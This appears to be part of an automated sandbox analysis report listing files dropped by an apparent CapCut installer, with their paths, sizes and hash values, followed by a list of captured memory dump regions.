C:\Users\Admin\AppData\Local\Programs\capcut\chrome_200_percent.pak

Filesize
202KB

MD5
6a7a9dee6b4d47317b4478dba3b2076c

SHA1
e9167673a3d25ad37e2d83e04af92bfda48f0c86

SHA256
b820d19a7a8ce9d12a26837f967f983e45b07550b49e7b9a25e57b417c5f6fd9

SHA512
67466e21a13ca449b014b511fb49bfc51df841eb5776f93b4bda2e0023da96d368ac5c65de051ed9de1899275b9f33839af2c387be903688cdb48bf08993791e

Download Submit
C:\Users\Admin\AppData\Local\Programs\capcut\ffmpeg.dll

Filesize
2.6MB

MD5
7977f3720aa86e0ec2ad2de44ad42004

SHA1
04a4ef5ccd72aa5d050cc606a7597a3b388c6400

SHA256
61c6bd5fee2c150265241a15379c4053b174b1cd7687749629afcdbd1264a02e

SHA512
8ef3b8f506b5ad7241b96d381a501033266358fb3756a457c46ed499547db1232012f849838e65f916129fab1a0d74711e9851b8e0669831acbbf4c3494e492d

Download Submit
C:\Users\Admin\AppData\Local\Programs\capcut\icudtl.dat

Filesize
9.7MB

MD5
2e7d2f6c3eed51f5eca878a466a1ab4e

SHA1
759bd98d218d7e392819107fab2a8fd1cfc63ddf

SHA256
b62b7240837172959299dc3be44fffa83dc374353154eca1612e1bde330aa8fa

SHA512
0f1465e8efe32b0eaba628a30bbb21254a05d80f4407a1434120a55fb928cf575b3879e1b7cf754cd19b23c262ae715fa84a8049073563cb38f1855be7db1124

Download Submit
C:\Users\Admin\AppData\Local\Programs\capcut\locales\en-US.pak

Filesize
104KB

MD5
0dcd84e9e50a3e0819d5875ea889ced4

SHA1
7c47f6e4e0cafec3a13c07d689d1dd6ff6516b1e

SHA256
699b6d7f05a484e76d3e1197a656247863e570f03cc02634c9dc42078a5c5007

SHA512
153fc15f676d78d5d0f3a6862fc7eaa60c2a659c25ce87485f0253c321d9407a9b799b959104c27a8e7b5487f0de926ae8f375e2c3d313329112e48f2d001a17

Download Submit
C:\Users\Admin\AppData\Local\Programs\capcut\resources.pak

Filesize
4.9MB

MD5
99c5bf0dcd43f961aa3e177f7dc42d42

SHA1
5618abd2e7b45c50400bb4aa0c455bb0b28bc472

SHA256
75ff04d991c2a203105525a1ccb200a461717ce7b86ada4be092fe903d95cdc8

SHA512
2e508c46eb266301f42ee6a7d63494f3856b422df61d0b605096bf4fc4943239d3fba15161adf8cb1cdcfd3bea8608102a0abce636999cc2a9e01bda51cc77ae

Download Submit
C:\Users\Admin\AppData\Local\Programs\capcut\resources\app.asar

Filesize
2.9MB

MD5
6c28f36a1cfd1132f866697821b8d266

SHA1
725e06459549883332d3504b232c33f7eb0e887b

SHA256
8ba06d25419b7fbcecf5fce6a8451ee02f818a0b6315c67183a336c24fa02ad3

SHA512
e0246d25bc9f93303b7aa9edf5b05f96e72b7c1f748f04ef914f28d370f3a179c4302ec7527bd75402e5ec5b03129088391bde7917e9d7aa777893fb9315efcd

Download Submit
C:\Users\Admin\AppData\Local\Programs\capcut\v8_context_snapshot.bin

Filesize
160KB

MD5
a718c9b6e5e6563e23e450a0d01b932a

SHA1
95ccb1228f024f037259e759dbac464f3c27b8cf

SHA256
315f5ed966a1f3a89c94d1b78b9bf70e59a2869601cf6551b2c1fd3e3b008447

SHA512
b04512e95ab3997bc7d5c65e2f526e124bf1895b139eb2b6c6c7b4a4aa381cd408eb2bba01f44b09b1936d24752baae288f24a32ed84687d3e7e0681b5387d01

Download Submit
C:\Users\Admin\AppData\Local\Programs\capcut\vulkan-1.dll

Filesize
715KB

MD5
25afbdf6701013c57b19b92225920915

SHA1
009300dd4ab3b81794388ce7d126ae90ff97535f

SHA256
22bb65dd206ce7ee10c05557933a04a04144e1a8228d2a9d1e9d704b0b1b2f7c

SHA512
575e38b60948cb704c355ba9cf3457f2693c30f95e85f10f795e759652bf4317e18ba480bee8aafcea9108415e8e58f674b22c7513a9fabee765142486919a0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\nseB1C3.tmp\StdUtils.dll

Filesize
100KB

MD5
c6a6e03f77c313b267498515488c5740

SHA1
3d49fc2784b9450962ed6b82b46e9c3c957d7c15

SHA256
b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e

SHA512
9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803

Download Submit
C:\Users\Admin\AppData\Roaming\dcw_global\app\5af05aada5530eb8b79a15b2c6975e2e

Filesize
134KB

MD5
5af05aada5530eb8b79a15b2c6975e2e

SHA1
9b64b2fcc8555bb581e9076ad250798a1bc62332

SHA256
1a6ddd5d9c590eef50bd9e1e186b6038d7a4d286e0b934bd7de541b2a6221194

SHA512
de32b791b79e2f22d70fd333131f4e2ae8b67ef045a9eb85ba572376d85961b21e56d263c1942bd7543a7bebb40841e50eea6f01384c8da10cb27a8e72f84302

Download Submit
C:\Users\Admin\AppData\Roaming\dcw_global\app\8ba1552a656aa48cf77ec59330d8a5b0

Filesize
621KB

MD5
8ba1552a656aa48cf77ec59330d8a5b0

SHA1
0a1ff9ea5247dcc7ffceec647b069263062af07b

SHA256
61f883bfc6e7ac4c78e632f0b0baec516a18b784f090f6adba2058f8dfcb2299

SHA512
b3ac73fb2a1a7a95d8713e8b1a87629c4971ba675af86dfb3d0faee9dc072fdffce8a8fea93a5d74148ea0aeed8e1cf59cf4e989ca1746907db4cfe23d368c01

Download Submit
C:\Users\Admin\AppData\Roaming\dcw_global\app\php.exe

Filesize
76KB

MD5
34f95889380b92044e958eab7fb561b1

SHA1
fbf6a62f4523b0a0316db49d277b69021136457a

SHA256
6845b8905a3fade342f427af97875118d4c7fb3d382cda245dc77e1cb930464c

SHA512
9274003a161c714373999ba71d51557cc718ee3ecfa57f82691b9edd3d682e13c59da1d1ba8a8858b58ecc981f29f1b01ed31528b65844046a2cd659bc28b9d9

Download Submit
C:\Users\Admin\AppData\Roaming\dcw_global\app\rhc.exe

Filesize
1KB

MD5
abc6379205de2618851c4fcbf72112eb

SHA1
1ed7b1e965eab56f55efda975f9f7ade95337267

SHA256
22e7528e56dffaa26cfe722994655686c90824b13eb51184abfe44d4e95d473f

SHA512
180c7f400dd13092b470e3a91bf02e98ef6247c1193bf349e3710e8d1e9003f3bc9b792bb776eacb746e9c67b3041f2333cc07f28c5f046d59274742230fb7c1

Download Submit
C:\Users\Admin\AppData\Roaming\dcw_global\zin.zip

Filesize
22.0MB

MD5
ff6d446d8221db6e72df5368f46ba8e9

SHA1
8263b78eea17a07605f15140f5379cc4ea2fee3c

SHA256
3d7668280fa4b16f70705539ba1e4ea17eef344c81e82881cbeca26fb7f181f1

SHA512
2ada13dac5563c8aab1aa5da6b0b570480bd09f4ed673d721f9caa7b6032ff1aa555ae08e2a38eedc0e81cc3b200595a96369b23e1d74dcfb1ace093b6bd98e3

Download Submit
\Users\Admin\AppData\Local\Programs\capcut\d3dcompiler_47.dll

Filesize
4.3MB

MD5
7641e39b7da4077084d2afe7c31032e0

SHA1
2256644f69435ff2fee76deb04d918083960d1eb

SHA256
44422e6936dc72b7ac5ed16bb8bcae164b7554513e52efb66a3e942cec328a47

SHA512
8010e1cb17fa18bbf72d8344e1d63ded7cef7be6e7c13434fa6d8e22ce1d58a4d426959bdcb031502d4b145e29cb111af929fcbc66001111fbc6d7a19e8800a5

Download Submit
\Users\Admin\AppData\Local\Programs\capcut\libEGL.dll

Filesize
431KB

MD5
7b77074945dfe5cf0b1c5a3748058d57

SHA1
fdea507ac2be491b8ad24ddc1030ea9980c94c0d

SHA256
994972c1bc515c199552d50e97ad217ae15a3eed16db06181c7df50e743e8a56

SHA512
d637b2c7d75723601af099317a39820d3edbd3cea1e1cb20b702deb6ca7fdb0b67e1351cc8fee1c7badff957fffb848a8dce18bb25bfd60c81a588da4f68c1fd

Download Submit
\Users\Admin\AppData\Local\Programs\capcut\libGLESv2.dll

Filesize
7.6MB

MD5
8c93e19281992a00993fc0f09e272917

SHA1
3a2d12bc85f829775ec8c5c1f8e35a783d37b7a7

SHA256
1ebc1da8d7e463a5d3dc127a632989ef35cfbd94cb18bf1f8ee790f172d43703

SHA512
c4ec65378d83e6645c9128825853de2d3e82c0f430cd28fdc761eaf2d011267c3794b7c1dcef017750323873d7fe976656eebf9ed7c03582741d43738f3e0c7c

Download Submit
\Users\Admin\AppData\Local\Temp\nseB1C3.tmp\SpiderBanner.dll

Filesize
9KB

MD5
17309e33b596ba3a5693b4d3e85cf8d7

SHA1
7d361836cf53df42021c7f2b148aec9458818c01

SHA256
996a259e53ca18b89ec36d038c40148957c978c0fd600a268497d4c92f882a93

SHA512
1abac3ce4f2d5e4a635162e16cf9125e059ba1539f70086c2d71cd00d41a6e2a54d468e6f37792e55a822d7082fb388b8dfecc79b59226bbb047b7d28d44d298

Download Submit
\Users\Admin\AppData\Local\Temp\nseB1C3.tmp\System.dll

Filesize
12KB

MD5
0d7ad4f45dc6f5aa87f606d0331c6901

SHA1
48df0911f0484cbe2a8cdd5362140b63c41ee457

SHA256
3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca

SHA512
c07de7308cb54205e8bd703001a7fe4fd7796c9ac1b4bb330c77c872bf712b093645f40b80ce7127531fe6746a5b66e18ea073ab6a644934abed9bb64126fea9

Download Submit
\Users\Admin\AppData\Local\Temp\nseB1C3.tmp\WinShell.dll

Filesize
3KB

MD5
1cc7c37b7e0c8cd8bf04b6cc283e1e56

SHA1
0b9519763be6625bd5abce175dcc59c96d100d4c

SHA256
9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6

SHA512
7acf7f8e68aa6066b59ca9f2ae2e67997e6b347bc08eb788d2a119b3295c844b5b9606757168e8d2fbd61c2cda367bf80e9e48c9a52c28d5a7a00464bfd2048f

Download Submit
\Users\Admin\AppData\Local\Temp\nseB1C3.tmp\nsExec.dll

Filesize
6KB

MD5
ec0504e6b8a11d5aad43b296beeb84b2

SHA1
91b5ce085130c8c7194d66b2439ec9e1c206497c

SHA256
5d9ceb1ce5f35aea5f9e5a0c0edeeec04dfefe0c77890c80c70e98209b58b962

SHA512
3f918f1b47e8a919cbe51eb17dc30acc8cfc18e743a1bae5b787d0db7d26038dc1210be98bf5ba3be8d6ed896dbbd7ac3d13e66454a98b2a38c7e69dad30bb57

Download Submit
\Users\Admin\AppData\Local\Temp\nseB1C3.tmp\nsis7z.dll

Filesize
424KB

MD5
80e44ce4895304c6a3a831310fbf8cd0

SHA1
36bd49ae21c460be5753a904b4501f1abca53508

SHA256
b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592

SHA512
c8ba7b1f9113ead23e993e74a48c4427ae3562c1f6d9910b2bbe6806c9107cf7d94bc7d204613e4743d0cd869e00dafd4fb54aad1e8adb69c553f3b9e5bc64df

Download Submit
memory/848-601-0x0000000000170000-0x00000000001A8000-memory.dmp

Filesize
224KB

Download
memory/1312-558-0x0000000000940000-0x0000000000978000-memory.dmp

Filesize
224KB

Download
memory/1496-480-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-608-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-545-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-410-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-613-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-612-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-611-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-175-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-585-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-610-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-609-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-419-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-607-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-594-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-595-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-606-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-605-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-171-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1496-604-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1652-599-0x0000000000400000-0x0000000000402000-memory.dmp

Filesize
8KB

Download
memory/1768-587-0x00000000009D0000-0x0000000000A08000-memory.dmp

Filesize
224KB

Download
memory/1824-586-0x00000000023A0000-0x00000000023D8000-memory.dmp

Filesize
224KB

Download
memory/2044-621-0x0000000000A50000-0x0000000000A88000-memory.dmp

Filesize
224KB

Download
memory/2068-593-0x0000000002470000-0x0000000002478000-memory.dmp

Filesize
32KB

Download
memory/2068-592-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

Filesize
2.9MB

Download
memory/2296-600-0x0000000000400000-0x0000000000402000-memory.dmp

Filesize
8KB

Download
memory/2364-208-0x0000000003B80000-0x0000000003B82000-memory.dmp

Filesize
8KB

Download
memory/3048-245-0x0000000000860000-0x0000000000861000-memory.dmp

Filesize
4KB

Download
memory/3048-278-0x00000000778E0000-0x00000000778E1000-memory.dmp

Filesize
4KB

Download